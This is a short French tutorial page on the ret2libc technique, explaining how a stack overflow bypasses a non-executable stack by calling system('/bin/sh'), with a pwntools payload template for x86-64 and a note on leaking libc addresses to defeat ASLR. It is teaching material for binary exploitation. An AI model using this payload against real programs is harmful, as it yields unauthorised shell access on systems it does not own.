ret2libc — Retour vers la libc

Stack Exploit

Principe

Quand la pile est non exécutable (NX), on ne peut plus y placer du shellcode. ret2libc détourne le flux vers une fonction existante de la libc (typiquement system("/bin/sh")) en forgeant la pile pour lui passer ses arguments.

Exploitation x86-64

# Il faut : adresse de system(), de "/bin/sh", d un gadget 'pop rdi'
from pwn import *
libc = ELF('libc.so.6')
system = libc.sym['system']
binsh  = next(libc.search(b'/bin/sh'))
pop_rdi = 0x4011ab   # ROPgadget --binary bin --only 'pop|ret'

payload = b'A'*offset
payload += p64(pop_rdi) + p64(binsh)   # rdi = "/bin/sh"
payload += p64(ret)                     # alignement pile 16o
payload += p64(system)

Avec ASLR

Si la libc est randomisée, il faut d'abord leaker une adresse (ex: via puts(puts@got)) pour calculer la base de la libc, puis relancer l'exploit (ret2plt + ret2libc en deux étapes).